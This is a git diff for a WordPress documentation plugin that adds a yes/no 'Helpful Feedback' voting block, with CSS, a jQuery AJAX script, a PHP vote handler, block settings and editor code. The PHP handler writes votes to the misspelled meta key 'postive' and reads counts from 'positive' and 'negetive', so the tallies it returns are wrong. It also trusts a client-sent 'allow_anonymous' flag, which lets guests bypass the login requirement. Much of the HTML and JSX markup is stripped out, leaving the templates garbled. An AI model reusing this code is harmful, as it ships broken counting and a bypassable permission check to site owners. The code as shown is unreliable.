::marker{content:"•";color:var(--wedocs-doc-children-active-color, #0073aa);margin-right:.5rem}.wedocs-docs-grid__details{margin-top:1rem;padding-top:1rem;border-top:1px solid rgba(0,0,0,.1)}.wedocs-docs-grid__details-link{display:inline-block;padding:var(--wedocs-button-padding, 8px 12px);margin:var(--wedocs-button-margin, 0);background-color:var(--wedocs-button-color, #0073aa);color:var(--wedocs-button-text-color, #fff);border-radius:var(--wedocs-border-radius, 4px);font-size:.875rem;cursor:pointer;transition:all .2s;text-decoration:none}.wedocs-docs-grid__details-link:hover{background-color:var(--wedocs-button-hover-color, #005177);color:var(--wedocs-button-hover-text-color, #fff)}.wp-block-wedocs-docs .wedocs-docs-grid__item{cursor:default}[dir=rtl] .wedocs-docs-grid__details-link::after{content:"←"}.wedocs-docs-pagination{margin:30px 0;text-align:center}.wedocs-docs-pagination .page-numbers{display:inline-flex;list-style:none;padding:0;margin:0;gap:5px}.wedocs-docs-pagination .page-numbers li{margin:0;display:inline-block}.wedocs-docs-pagination .page-numbers a,.wedocs-docs-pagination .page-numbers span{display:inline-block;padding:8px 12px;min-width:32px;margin:0 4px;border:1px solid var(--wedocs-pagination-border-color, #ddd);border-radius:var(--wedocs-border-radius, 4px);background-color:var(--wedocs-pagination-background-color, #fff);color:var(--wedocs-pagination-text-color, #333);text-decoration:none;font-family:inherit;font-size:14px;line-height:1.4;text-align:center;transition:all .2s ease;cursor:pointer}.wedocs-docs-pagination .page-numbers a:hover:not(.current),.wedocs-docs-pagination .page-numbers span:hover:not(.current){background-color:var(--wedocs-pagination-hover-color, #f5f5f5);color:var(--wedocs-pagination-text-hover-color, #0073aa);border-color:var(--wedocs-pagination-hover-color, #ccc)}.wedocs-docs-pagination .page-numbers .current{background-color:var(--wedocs-pagination-hover-color, #f5f5f5);border-color:var(--wedocs-pagination-hover-color, #ccc);color:var(--wedocs-pagination-text-hover-color, #0073aa);cursor:default}.wedocs-docs-pagination .page-numbers .dots{border:none;padding:8px;cursor:default}.wedocs-docs-pagination .page-numbers .dots:hover{background:none;color:inherit}.wedocs-docs-pagination__button{display:inline-block;padding:8px 12px;min-width:32px;margin:0 4px;border:1px solid var(--wedocs-pagination-border-color, #ddd);border-radius:var(--wedocs-border-radius, 4px);background-color:var(--wedocs-pagination-background-color, #fff);color:var(--wedocs-pagination-text-color, #333);text-decoration:none;font-family:inherit;font-size:14px;line-height:1.4;text-align:center;transition:all .2s ease;cursor:pointer}.wedocs-docs-pagination__button:hover:not(.is-active){background-color:var(--wedocs-pagination-hover-color, #f5f5f5) !important;color:var(--wedocs-pagination-text-hover-color, #0073aa) !important;border-color:var(--wedocs-pagination-hover-color, #ccc) !important}.wedocs-docs-pagination__button.is-active{background-color:var(--wedocs-pagination-hover-color, #f5f5f5);border-color:var(--wedocs-pagination-hover-color, #ccc);color:var(--wedocs-pagination-text-hover-color, #0073aa);cursor:default} +.wedocs-helpful-feedback{position:relative;max-width:100%;box-sizing:border-box;font-family:inherit}.wedocs-helpful-feedback *{box-sizing:border-box}.wedocs-helpful-feedback .wedocs-feedback-title{margin:0;font-weight:600;line-height:1.4}.wedocs-helpful-feedback .wedocs-feedback-buttons{display:flex;flex-wrap:wrap;gap:16px;margin-top:16px;justify-content:center}.wedocs-helpful-feedback .wedocs-feedback-buttons .wedocs-feedback-button{border:none;background:none;font-family:inherit;font-size:14px;line-height:1;text-decoration:none;outline:none;position:relative;min-height:44px;min-width:44px}.wedocs-helpful-feedback .wedocs-feedback-buttons .wedocs-feedback-button:focus{outline:2px solid #0073aa;outline-offset:2px}.wedocs-helpful-feedback .wedocs-feedback-buttons .wedocs-feedback-button:disabled{opacity:.7;cursor:not-allowed}.wedocs-helpful-feedback .wedocs-feedback-buttons .wedocs-feedback-button .wedocs-feedback-icon{display:inline-flex;align-items:center;justify-content:center;flex-shrink:0}.wedocs-helpful-feedback .wedocs-feedback-buttons .wedocs-feedback-button .wedocs-feedback-icon svg{display:block}.wedocs-helpful-feedback .wedocs-feedback-buttons .wedocs-feedback-button .vote-count{font-size:.9em;opacity:.8}.wedocs-helpful-feedback .wedocs-feedback-thank-you{text-align:center}.wedocs-helpful-feedback .wedocs-feedback-thank-you .wedocs-feedback-title{color:#28a745;margin-bottom:16px}.wedocs-helpful-feedback .wedocs-feedback-thank-you .wedocs-feedback-result .wedocs-feedback-voted-option{font-weight:500;margin-bottom:8px}.wedocs-helpful-feedback .wedocs-feedback-thank-you .wedocs-feedback-result .wedocs-feedback-voted-option .wedocs-feedback-icon{display:inline-flex;align-items:center;margin-right:8px}.wedocs-helpful-feedback .wedocs-feedback-thank-you .wedocs-feedback-result .wedocs-feedback-vote-summary .vote-separator{margin:0 8px;opacity:.6}.wedocs-helpful-feedback .wedocs-feedback-preview-note{text-align:center;font-style:italic;color:#666;border-top:1px solid #eee;padding-top:10px}.wedocs-helpful-feedback.left .wedocs-feedback-buttons{justify-content:flex-start}.wedocs-helpful-feedback.center .wedocs-feedback-buttons{justify-content:center}.wedocs-helpful-feedback.right .wedocs-feedback-buttons{justify-content:flex-end}.wedocs-helpful-feedback.layout1 .wedocs-feedback-button{padding:12px 24px;border-radius:6px;display:inline-flex;align-items:center;gap:8px;flex-direction:row}.wedocs-helpful-feedback.layout2 .wedocs-feedback-buttons{flex-direction:column;align-items:center;gap:32px}.wedocs-helpful-feedback.layout2 .wedocs-feedback-buttons .wedocs-feedback-button{flex-direction:column;width:80px;height:80px;border-radius:50%;padding:0;gap:8px;position:relative}.wedocs-helpful-feedback.layout2 .wedocs-feedback-buttons .wedocs-feedback-button .vote-count{position:absolute;bottom:-28px;left:50%;transform:translateX(-50%);white-space:nowrap;font-size:12px}@media(min-width: 480px){.wedocs-helpful-feedback.layout2 .wedocs-feedback-buttons{flex-direction:row;justify-content:center;gap:48px}}@media(max-width: 480px){.wedocs-helpful-feedback .wedocs-feedback-buttons{flex-direction:column;align-items:center;gap:12px}.wedocs-helpful-feedback .wedocs-feedback-buttons .wedocs-feedback-button{width:100%;max-width:200px;justify-content:center}.wedocs-helpful-feedback.layout2 .wedocs-feedback-buttons .wedocs-feedback-button{width:60px;height:60px}}.wedocs-helpful-feedback.loading .wedocs-feedback-button{opacity:.6;cursor:wait;pointer-events:none}.wedocs-helpful-feedback.has-voted .wedocs-feedback-buttons{display:none}.wedocs-helpful-feedback .wedocs-feedback-thank-you,.wedocs-helpful-feedback .wedocs-feedback-buttons{animation:fadeIn .3s ease-in-out}@keyframes fadeIn{from{opacity:0;transform:translateY(10px)}to{opacity:1;transform:translateY(0)}}.wp-block-wedocs-helpful-feedback .wedocs-helpful-feedback{border:1px dashed #ccc;position:relative}.wp-block-wedocs-helpful-feedback .wedocs-helpful-feedback::after{content:"Helpful Feedback Block";position:absolute;top:-1px;left:-1px;background:#0073aa;color:#fff;padding:2px 8px;font-size:11px;line-height:1;font-weight:500;z-index:1}@media(prefers-contrast: high){.wedocs-helpful-feedback .wedocs-feedback-button{border:2px solid currentColor !important}}@media(prefers-reduced-motion: reduce){.wedocs-helpful-feedback .wedocs-feedback-button,.wedocs-helpful-feedback .wedocs-feedback-thank-you,.wedocs-helpful-feedback .wedocs-feedback-buttons{animation:none !important;transition:none !important}}@media print{.wedocs-helpful-feedback .wedocs-feedback-buttons{display:none !important}.wedocs-helpful-feedback .wedocs-feedback-thank-you .wedocs-feedback-vote-summary{display:inline !important}.wedocs-helpful-feedback .wedocs-feedback-thank-you .wedocs-feedback-vote-summary::before{content:" ("}.wedocs-helpful-feedback .wedocs-feedback-thank-you .wedocs-feedback-vote-summary::after{content:")"}} diff --git a/assets/js/helpful-feedback.js b/assets/js/helpful-feedback.js new file mode 100644 index 00000000..dad4c589 --- /dev/null +++ b/assets/js/helpful-feedback.js @@ -0,0 +1,206 @@ +/** + * Helpful Feedback Frontend JavaScript + * Handles AJAX voting functionality + */ + +(function($) { + 'use strict'; + + class WedocsHelpfulFeedback { + constructor() { + this.init(); + } + + init() { + this.bindEvents(); + } + + bindEvents() { + $(document).on('click', '.wedocs-feedback-button', this.handleVote.bind(this)); + } + + handleVote(e) { + e.preventDefault(); + + const $button = $(e.currentTarget); + const $container = $button.closest('.wedocs-helpful-feedback'); + const vote = $button.data('vote'); + const postId = $container.data('post-id'); + const allowAnonymous = $container.data('allow-anonymous'); + const thankYouMessage = $container.data('thank-you-message'); + + // Check if already voting + if ($container.hasClass('loading')) { + return; + } + + // Validate required data + if (!vote || !postId) { + this.showError($container, 'Invalid voting data'); + return; + } + + // Show loading state + this.setLoadingState($container, true); + + // Prepare AJAX data + const ajaxData = { + action: 'wedocs_helpful_feedback_vote', + post_id: postId, + vote: vote, + allow_anonymous: allowAnonymous, + nonce: wedocsHelpfulFeedback.nonce + }; + + // Send AJAX request + $.ajax({ + url: wedocsHelpfulFeedback.ajax_url, + type: 'POST', + data: ajaxData, + dataType: 'json', + success: (response) => { + this.handleVoteSuccess(response, $container, vote, thankYouMessage); + }, + error: (xhr, status, error) => { + this.handleVoteError(xhr, $container); + }, + complete: () => { + this.setLoadingState($container, false); + } + }); + } + + handleVoteSuccess(response, $container, vote, thankYouMessage) { + if (response.success) { + // Update vote counts + this.updateVoteCounts($container, response.data.yes_votes, response.data.no_votes); + + // Show thank you message + this.showThankYou($container, vote, thankYouMessage, response.data); + + // Mark as voted + $container.addClass('has-voted voted-' + vote); + + // Fire custom event + $(document).trigger('wedocs:feedback:voted', { + container: $container, + vote: vote, + data: response.data + }); + } else { + this.showError($container, response.data.message || 'Voting failed'); + } + } + + handleVoteError(xhr, $container) { + let errorMessage = 'An error occurred while voting'; + + if (xhr.responseJSON && xhr.responseJSON.data && xhr.responseJSON.data.message) { + errorMessage = xhr.responseJSON.data.message; + } else if (xhr.status === 403) { + errorMessage = 'You are not authorized to vote'; + } else if (xhr.status === 429) { + errorMessage = 'Too many requests. Please try again later'; + } + + this.showError($container, errorMessage); + } + + updateVoteCounts($container, yesVotes, noVotes) { + const showVoteCount = $container.find('.vote-count').length > 0; + + if (showVoteCount) { + $container.find('.wedocs-feedback-yes .vote-count').text('(' + yesVotes + ')'); + $container.find('.wedocs-feedback-no .vote-count').text('(' + noVotes + ')'); + } + } + + showThankYou($container, vote, thankYouMessage, data) { + const $title = $container.find('.wedocs-feedback-title'); + const $buttons = $container.find('.wedocs-feedback-buttons'); + + // Create thank you content + const voteIcon = vote === 'yes' + ? '' + : ''; + + const voteText = vote === 'yes' ? 'You found this helpful' : 'You found this not helpful'; + const showVoteCount = $container.find('.vote-count').length > 0; + + let voteSummary = ''; + if (showVoteCount) { + voteSummary = ` +
+ ${data.yes_votes} Yes + + ${data.no_votes} No +
+ `; + } + + const thankYouContent = ` +
+
+ ${thankYouMessage} +
+
+
+ ${voteIcon} + ${voteText} +
+ ${voteSummary} +
+
+ `; + + // Fade out buttons and fade in thank you message + $buttons.fadeOut(300, function() { + $title.fadeOut(200, function() { + $container.append(thankYouContent); + $container.find('.wedocs-feedback-thank-you').hide().fadeIn(400); + }); + }); + } + + showError($container, message) { + // Remove any existing error messages + $container.find('.wedocs-feedback-error').remove(); + + // Create error message element + const $error = $('
'); + $error.text(message); + + // Append error message + $container.append($error); + + // Auto-hide error after 5 seconds + setTimeout(() => { + $error.fadeOut(300, function() { + $error.remove(); + }); + }, 5000); + } + + setLoadingState($container, loading) { + if (loading) { + $container.addClass('loading'); + $container.find('.wedocs-feedback-button').prop('disabled', true); + } else { + $container.removeClass('loading'); + $container.find('.wedocs-feedback-button').prop('disabled', false); + } + } + } + + // Initialize when document is ready + $(document).ready(function() { + // Only initialize if we have the required globals + if (typeof wedocsHelpfulFeedback !== 'undefined') { + new WedocsHelpfulFeedback(); + } + }); + + // Expose class globally for extensibility + window.WedocsHelpfulFeedback = WedocsHelpfulFeedback; + +})(jQuery); diff --git a/includes/Ajax.php b/includes/Ajax.php index cd00ec57..a67e9e41 100644 --- a/includes/Ajax.php +++ b/includes/Ajax.php @@ -39,6 +39,10 @@ public function __construct() { // Handle weDocs pro notice. add_action( 'wp_ajax_hide_wedocs_pro_notice', [ $this, 'hide_pro_notice' ] ); add_action( 'wp_ajax_nopriv_hide_wedocs_pro_notice', [ $this, 'hide_pro_notice' ] ); + + // Handle weDocs helpful feedback voting. + add_action( 'wp_ajax_wedocs_helpful_feedback_vote', [ $this, 'handle_helpful_feedback_vote' ] ); + add_action( 'wp_ajax_nopriv_wedocs_helpful_feedback_vote', [ $this, 'handle_helpful_feedback_vote' ] ); } /** @@ -244,4 +248,98 @@ public function hide_pro_notice() { public function is_a_parent_doc( $doc_id ) { return (int) wp_get_post_parent_id( $doc_id ) === 0; } + + /** + * Handle helpful feedback voting. + * + * @since 2.1.0 + * + * @return void + */ + public function handle_helpful_feedback_vote() { + // Verify nonce for security + if ( ! wp_verify_nonce( $_POST['nonce'] ?? '', 'wedocs_helpful_feedback_nonce' ) ) { + wp_send_json_error( [ + 'message' => __( 'Security verification failed.', 'wedocs' ) + ] ); + } + + // Validate required fields + $post_id = intval( $_POST['post_id'] ?? 0 ); + $vote = sanitize_text_field( $_POST['vote'] ?? '' ); + $allow_anonymous = filter_var( $_POST['allow_anonymous'] ?? true, FILTER_VALIDATE_BOOLEAN ); + + if ( ! $post_id || ! in_array( $vote, [ 'yes', 'no' ] ) ) { + wp_send_json_error( [ + 'message' => __( 'Invalid voting data.', 'wedocs' ) + ] ); + } + + // Verify this is a docs post + if ( get_post_type( $post_id ) !== 'docs' ) { + wp_send_json_error( [ + 'message' => __( 'Invalid post type.', 'wedocs' ) + ] ); + } + + // Get current user ID and IP + $user_id = get_current_user_id(); + $user_ip = $_SERVER['REMOTE_ADDR'] ?? ''; + + // Check if user can vote + if ( ! $user_id && ! $allow_anonymous ) { + wp_send_json_error( [ + 'message' => __( 'You must be logged in to vote.', 'wedocs' ) + ] ); + } + + // Check if user has already voted + $has_voted = false; + if ( $user_id ) { + // Check by user ID + $user_vote = get_post_meta( $post_id, "wedocs_helpful_vote_user_{$user_id}", true ); + if ( $user_vote ) { + $has_voted = true; + } + } elseif ( $allow_anonymous && $user_ip ) { + // Check by IP for anonymous users + $ip_vote = get_post_meta( $post_id, "wedocs_helpful_vote_ip_" . md5( $user_ip ), true ); + if ( $ip_vote ) { + $has_voted = true; + } + } + + if ( $has_voted ) { + wp_send_json_error( [ + 'message' => __( 'You have already voted on this article.', 'wedocs' ) + ] ); + } + + // Record the vote + $vote_meta_key = $vote === 'yes' ? 'postive' : 'negative'; + $current_votes = (int) get_post_meta( $post_id, $vote_meta_key, true ); + update_post_meta( $post_id, $vote_meta_key, $current_votes + 1 ); + + // Record user vote to prevent duplicate voting + if ( $user_id ) { + update_post_meta( $post_id, "wedocs_helpful_vote_user_{$user_id}", $vote ); + } elseif ( $allow_anonymous && $user_ip ) { + update_post_meta( $post_id, "wedocs_helpful_vote_ip_" . md5( $user_ip ), $vote ); + } + + // Get updated vote counts + $yes_votes = (int) get_post_meta( $post_id, 'positive', true ); + $no_votes = (int) get_post_meta( $post_id, 'negetive', true ); + + // Fire action hook for extensibility + do_action( 'wedocs_helpful_feedback_voted', $post_id, $vote, $user_id, $user_ip ); + + // Return success response + wp_send_json_success( [ + 'vote' => $vote, + 'yes_votes' => $yes_votes, + 'no_votes' => $no_votes, + 'message' => __( 'Thank you for your feedback!', 'wedocs' ) + ] ); + } } diff --git a/src/blocks/HelpfulFeedback/block.json b/src/blocks/HelpfulFeedback/block.json new file mode 100644 index 00000000..e1c2e39d --- /dev/null +++ b/src/blocks/HelpfulFeedback/block.json @@ -0,0 +1,234 @@ +{ + "$schema": "https://schemas.wp.org/trunk/block.json", + "apiVersion": 3, + "name": "wedocs/helpful-feedback", + "version": "1.0.0", + "title": "weDocs - Helpful Feedback", + "icon": "thumbs-up", + "category": "widgets", + "description": "Add a feedback voting system for articles with Yes/No buttons", + "supports": { + "html": false, + "anchor": true + }, + "editorScript": "file:./index.js", + "editorStyle": "file:./index.css", + "style": "file:./style-index.css", + "render": "file:./render.php", + "attributes": { + "questionText": { + "type": "string", + "default": "Was this article helpful to you?" + }, + "layout": { + "type": "string", + "default": "layout1" + }, + "alignment": { + "type": "string", + "default": "center" + }, + "showVoteCount": { + "type": "boolean", + "default": true + }, + "allowAnonymous": { + "type": "boolean", + "default": true + }, + "yesButtonText": { + "type": "string", + "default": "Yes" + }, + "noButtonText": { + "type": "string", + "default": "No" + }, + "thankYouMessage": { + "type": "string", + "default": "Thank you for your feedback!" + }, + "containerBgColor": { + "type": "string", + "default": "#ffffff" + }, + "containerBgHoverColor": { + "type": "string", + "default": "#f9f9f9" + }, + "containerPadding": { + "type": "object", + "default": { + "top": "20px", + "right": "20px", + "bottom": "20px", + "left": "20px" + } + }, + "containerMargin": { + "type": "object", + "default": { + "top": "20px", + "right": "0px", + "bottom": "20px", + "left": "0px" + } + }, + "containerBorderStyle": { + "type": "string", + "default": "solid" + }, + "containerBorderColor": { + "type": "string", + "default": "#e0e0e0" + }, + "containerBorderWidth": { + "type": "object", + "default": { + "top": "1px", + "right": "1px", + "bottom": "1px", + "left": "1px" + } + }, + "containerBorderRadius": { + "type": "object", + "default": { + "top": "8px", + "right": "8px", + "bottom": "8px", + "left": "8px" + } + }, + "containerBoxShadow": { + "type": "string", + "default": "0 2px 4px rgba(0,0,0,0.1)" + }, + "titleColor": { + "type": "string", + "default": "#333333" + }, + "titleFontSize": { + "type": "string", + "default": "16px" + }, + "titleFontWeight": { + "type": "string", + "default": "600" + }, + "titleLineHeight": { + "type": "string", + "default": "1.4" + }, + "titleLetterSpacing": { + "type": "string", + "default": "0px" + }, + "titlePadding": { + "type": "object", + "default": { + "top": "0px", + "right": "0px", + "bottom": "16px", + "left": "0px" + } + }, + "titleMargin": { + "type": "object", + "default": { + "top": "0px", + "right": "0px", + "bottom": "0px", + "left": "0px" + } + }, + "yesButtonColor": { + "type": "string", + "default": "#4CAF50" + }, + "yesButtonHoverColor": { + "type": "string", + "default": "#45a049" + }, + "yesButtonActiveColor": { + "type": "string", + "default": "#2e7d32" + }, + "noButtonColor": { + "type": "string", + "default": "#9e9e9e" + }, + "noButtonHoverColor": { + "type": "string", + "default": "#757575" + }, + "noButtonActiveColor": { + "type": "string", + "default": "#616161" + }, + "buttonTextColor": { + "type": "string", + "default": "#ffffff" + }, + "buttonTextHoverColor": { + "type": "string", + "default": "#ffffff" + }, + "iconWidth": { + "type": "string", + "default": "20px" + }, + "iconHeight": { + "type": "string", + "default": "20px" + }, + "iconColor": { + "type": "string", + "default": "#ffffff" + }, + "iconHoverColor": { + "type": "string", + "default": "#ffffff" + }, + "innerIconColor": { + "type": "string", + "default": "#ffffff" + }, + "innerIconHoverColor": { + "type": "string", + "default": "#ffffff" + }, + "buttonBorderStyle": { + "type": "string", + "default": "solid" + }, + "buttonBorderColor": { + "type": "string", + "default": "transparent" + }, + "buttonBorderHoverColor": { + "type": "string", + "default": "transparent" + }, + "buttonBorderWidth": { + "type": "string", + "default": "1px" + }, + "buttonBorderRadius": { + "type": "string", + "default": "6px" + }, + "buttonBoxShadow": { + "type": "string", + "default": "0 2px 4px rgba(0,0,0,0.1)" + }, + "additionalCssClass": { + "type": "string", + "default": "" + }, + "dataAttributes": { + "type": "object", + "default": {} + } + } +} \ No newline at end of file diff --git a/src/blocks/HelpfulFeedback/edit.js b/src/blocks/HelpfulFeedback/edit.js new file mode 100644 index 00000000..1bfdfb63 --- /dev/null +++ b/src/blocks/HelpfulFeedback/edit.js @@ -0,0 +1,513 @@ +import { __ } from '@wordpress/i18n'; +import { thumbsUp, thumbsDown } from '@wordpress/icons'; +import { Fragment } from '@wordpress/element'; +import { useBlockProps, InspectorControls, RichText } from '@wordpress/block-editor'; +import { + PanelBody, + SelectControl, + ToggleControl, + TextControl, + __experimentalBoxControl as BoxControl, + ColorPalette, + RangeControl, + __experimentalBorderControl as BorderControl, + __experimentalToolsPanel as ToolsPanel, + __experimentalToolsPanelItem as ToolsPanelItem +} from '@wordpress/components'; +import RadioImageControl from '../CustomControls/RadioImageControl'; + +const Edit = ({ attributes, setAttributes }) => { + const blockProps = useBlockProps(); + + const { + questionText, + layout, + alignment, + showVoteCount, + allowAnonymous, + yesButtonText, + noButtonText, + thankYouMessage, + containerBgColor, + containerBgHoverColor, + containerPadding, + containerMargin, + containerBorderStyle, + containerBorderColor, + containerBorderWidth, + containerBorderRadius, + containerBoxShadow, + titleColor, + titleFontSize, + titleFontWeight, + titleLineHeight, + titleLetterSpacing, + titlePadding, + titleMargin, + yesButtonColor, + yesButtonHoverColor, + yesButtonActiveColor, + noButtonColor, + noButtonHoverColor, + noButtonActiveColor, + buttonTextColor, + buttonTextHoverColor, + iconWidth, + iconHeight, + iconColor, + iconHoverColor, + innerIconColor, + innerIconHoverColor, + buttonBorderStyle, + buttonBorderColor, + buttonBorderHoverColor, + buttonBorderWidth, + buttonBorderRadius, + buttonBoxShadow, + additionalCssClass, + dataAttributes + } = attributes; + + const layoutOptions = [ + { + label: __('Layout 1', 'wedocs'), + value: 'layout1', + svg: Question + }, + { + label: __('Layout 2', 'wedocs'), + value: 'layout2', + svg: Question + } + ]; + + const alignmentOptions = [ + { label: __('Left', 'wedocs'), value: 'left' }, + { label: __('Center', 'wedocs'), value: 'center' }, + { label: __('Right', 'wedocs'), value: 'right' } + ]; + + const borderStyles = [ + { label: __('None', 'wedocs'), value: 'none' }, + { label: __('Solid', 'wedocs'), value: 'solid' }, + { label: __('Dashed', 'wedocs'), value: 'dashed' }, + { label: __('Dotted', 'wedocs'), value: 'dotted' } + ]; + + const fontWeightOptions = [ + { label: __('Normal', 'wedocs'), value: '400' }, + { label: __('Medium', 'wedocs'), value: '500' }, + { label: __('Semi Bold', 'wedocs'), value: '600' }, + { label: __('Bold', 'wedocs'), value: '700' } + ]; + + const containerStyle = { + backgroundColor: containerBgColor, + padding: `${containerPadding.top} ${containerPadding.right} ${containerPadding.bottom} ${containerPadding.left}`, + margin: `${containerMargin.top} ${containerMargin.right} ${containerMargin.bottom} ${containerMargin.left}`, + border: containerBorderStyle !== 'none' ? `${containerBorderWidth.top} ${containerBorderStyle} ${containerBorderColor}` : 'none', + borderRadius: `${containerBorderRadius.top} ${containerBorderRadius.right} ${containerBorderRadius.bottom} ${containerBorderRadius.left}`, + boxShadow: containerBoxShadow, + textAlign: alignment, + transition: 'all 0.3s ease' + }; + + const titleStyle = { + color: titleColor, + fontSize: titleFontSize, + fontWeight: titleFontWeight, + lineHeight: titleLineHeight, + letterSpacing: titleLetterSpacing, + padding: `${titlePadding.top} ${titlePadding.right} ${titlePadding.bottom} ${titlePadding.left}`, + margin: `${titleMargin.top} ${titleMargin.right} ${titleMargin.bottom} ${titleMargin.left}` + }; + + const buttonBaseStyle = { + border: buttonBorderStyle !== 'none' ? `${buttonBorderWidth} ${buttonBorderStyle} ${buttonBorderColor}` : 'none', + borderRadius: buttonBorderRadius, + boxShadow: buttonBoxShadow, + color: buttonTextColor, + padding: '12px 24px', + margin: '0 8px', + cursor: 'pointer', + display: 'inline-flex', + alignItems: 'center', + gap: '8px', + transition: 'all 0.3s ease' + }; + + const yesButtonStyle = { + ...buttonBaseStyle, + backgroundColor: yesButtonColor + }; + + const noButtonStyle = { + ...buttonBaseStyle, + backgroundColor: noButtonColor + }; + + const iconStyle = { + width: iconWidth, + height: iconHeight, + color: iconColor + }; + + return ( + + + + setAttributes({ questionText: value })} + help={__('The question to ask users about the article', 'wedocs')} + /> + + setAttributes({ yesButtonText: value })} + /> + + setAttributes({ noButtonText: value })} + /> + + setAttributes({ thankYouMessage: value })} + help={__('Message shown after voting', 'wedocs')} + /> + + setAttributes({ showVoteCount: value })} + /> + + setAttributes({ allowAnonymous: value })} + help={__('Allow guests to vote without logging in', 'wedocs')} + /> + + + + + setAttributes({ layout: value })} + /> + + setAttributes({ alignment: value })} + /> + + + + + containerBgColor !== '#ffffff'} + label={__('Background Color', 'wedocs')} + onDeselect={() => setAttributes({ containerBgColor: '#ffffff' })} + > + setAttributes({ containerBgColor: value || '#ffffff' })} + /> + + + containerBgHoverColor !== '#f9f9f9'} + label={__('Background Hover Color', 'wedocs')} + onDeselect={() => setAttributes({ containerBgHoverColor: '#f9f9f9' })} + > + setAttributes({ containerBgHoverColor: value || '#f9f9f9' })} + /> + + + + setAttributes({ containerPadding: value })} + /> + + setAttributes({ containerMargin: value })} + /> + + setAttributes({ containerBorderStyle: value })} + /> + + {containerBorderStyle !== 'none' && ( + + setAttributes({ containerBorderColor: value || '#e0e0e0' })} + /> + + setAttributes({ containerBorderWidth: value })} + /> + + )} + + setAttributes({ containerBorderRadius: value })} + /> + + setAttributes({ containerBoxShadow: value })} + help={__('CSS box-shadow value', 'wedocs')} + /> + + + + setAttributes({ titleColor: value || '#333333' })} + /> + + setAttributes({ titleFontSize: value })} + help={__('e.g., 16px, 1.2em', 'wedocs')} + /> + + setAttributes({ titleFontWeight: value })} + /> + + setAttributes({ titleLineHeight: value })} + help={__('e.g., 1.4, 24px', 'wedocs')} + /> + + setAttributes({ titleLetterSpacing: value })} + help={__('e.g., 0px, 1px', 'wedocs')} + /> + + setAttributes({ titlePadding: value })} + /> + + setAttributes({ titleMargin: value })} + /> + + + +

{__('Yes Button Colors', 'wedocs')}

+ setAttributes({ yesButtonColor: value || '#4CAF50' })} + /> + + setAttributes({ yesButtonHoverColor: value || '#45a049' })} + /> + + setAttributes({ yesButtonActiveColor: value || '#2e7d32' })} + /> + +

{__('No Button Colors', 'wedocs')}

+ setAttributes({ noButtonColor: value || '#9e9e9e' })} + /> + + setAttributes({ noButtonHoverColor: value || '#757575' })} + /> + + setAttributes({ noButtonActiveColor: value || '#616161' })} + /> + +

{__('Button Text Colors', 'wedocs')}

+ setAttributes({ buttonTextColor: value || '#ffffff' })} + /> + + setAttributes({ buttonTextHoverColor: value || '#ffffff' })} + /> + +

{__('Icon Settings', 'wedocs')}

+ setAttributes({ iconWidth: value })} + /> + + setAttributes({ iconHeight: value })} + /> + + setAttributes({ iconColor: value || '#ffffff' })} + /> + + setAttributes({ iconHoverColor: value || '#ffffff' })} + /> + +

{__('Button Borders', 'wedocs')}

+ setAttributes({ buttonBorderStyle: value })} + /> + + {buttonBorderStyle !== 'none' && ( + + setAttributes({ buttonBorderColor: value || 'transparent' })} + /> + + setAttributes({ buttonBorderHoverColor: value || 'transparent' })} + /> + + setAttributes({ buttonBorderWidth: value })} + /> + + )} + + setAttributes({ buttonBorderRadius: value })} + /> + + setAttributes({ buttonBoxShadow: value })} + /> +
+ + + setAttributes({ additionalCssClass: value })} + help={__('Separate multiple classes with spaces', 'wedocs')} + /> + +
+ +
+
+
+ {questionText} +
+ +
+ + + +
+ +
+ {__('Preview mode - voting disabled in editor', 'wedocs')} +
+
+
+
+ ); +}; + +export default Edit; \ No newline at end of file diff --git a/src/blocks/HelpfulFeedback/index.js b/src/blocks/HelpfulFeedback/index.js new file mode 100644 index 00000000..4f47100c --- /dev/null +++ b/src/blocks/HelpfulFeedback/index.js @@ -0,0 +1,17 @@ +import { registerBlockType } from "@wordpress/blocks"; +import Edit from "./edit"; +import Save from "./save"; +import metadata from "./block.json"; +import "./style.scss"; + +registerBlockType(metadata.name, { + /** + * @see ./edit.js + */ + edit: Edit, + + /** + * @see ./save.js + */ + save: Save, +}); \ No newline at end of file diff --git a/src/blocks/HelpfulFeedback/render.php b/src/blocks/HelpfulFeedback/render.php new file mode 100644 index 00000000..acefb3ac --- /dev/null +++ b/src/blocks/HelpfulFeedback/render.php @@ -0,0 +1,388 @@ + '1px', 'right' => '1px', 'bottom' => '1px', 'left' => '1px']; + $container_styles[] = sprintf( + 'border: %s %s %s', + esc_attr($border_width['top'] ?? '1px'), + esc_attr($attributes['containerBorderStyle']), + esc_attr($attributes['containerBorderColor'] ?? '#e0e0e0') + ); + } + if (!empty($attributes['containerBorderRadius'])) { + $radius = $attributes['containerBorderRadius']; + $container_styles[] = sprintf( + 'border-radius: %s %s %s %s', + esc_attr($radius['top'] ?? '8px'), + esc_attr($radius['right'] ?? '8px'), + esc_attr($radius['bottom'] ?? '8px'), + esc_attr($radius['left'] ?? '8px') + ); + } + if (!empty($attributes['containerBoxShadow'])) { + $container_styles[] = 'box-shadow: ' . esc_attr($attributes['containerBoxShadow']); + } + $container_styles[] = 'text-align: ' . esc_attr($alignment); + + // Build title styles + $title_styles = []; + if (!empty($attributes['titleColor'])) { + $title_styles[] = 'color: ' . esc_attr($attributes['titleColor']); + } + if (!empty($attributes['titleFontSize'])) { + $title_styles[] = 'font-size: ' . esc_attr($attributes['titleFontSize']); + } + if (!empty($attributes['titleFontWeight'])) { + $title_styles[] = 'font-weight: ' . esc_attr($attributes['titleFontWeight']); + } + if (!empty($attributes['titleLineHeight'])) { + $title_styles[] = 'line-height: ' . esc_attr($attributes['titleLineHeight']); + } + if (!empty($attributes['titleLetterSpacing'])) { + $title_styles[] = 'letter-spacing: ' . esc_attr($attributes['titleLetterSpacing']); + } + if (!empty($attributes['titlePadding'])) { + $padding = $attributes['titlePadding']; + $title_styles[] = sprintf( + 'padding: %s %s %s %s', + esc_attr($padding['top'] ?? '0px'), + esc_attr($padding['right'] ?? '0px'), + esc_attr($padding['bottom'] ?? '16px'), + esc_attr($padding['left'] ?? '0px') + ); + } + if (!empty($attributes['titleMargin'])) { + $margin = $attributes['titleMargin']; + $title_styles[] = sprintf( + 'margin: %s %s %s %s', + esc_attr($margin['top'] ?? '0px'), + esc_attr($margin['right'] ?? '0px'), + esc_attr($margin['bottom'] ?? '0px'), + esc_attr($margin['left'] ?? '0px') + ); + } + + // CSS classes + $css_classes = [ + 'wedocs-helpful-feedback', + esc_attr($layout), + esc_attr($alignment), + ]; + + if ($has_voted) { + $css_classes[] = 'has-voted'; + $css_classes[] = 'voted-' . 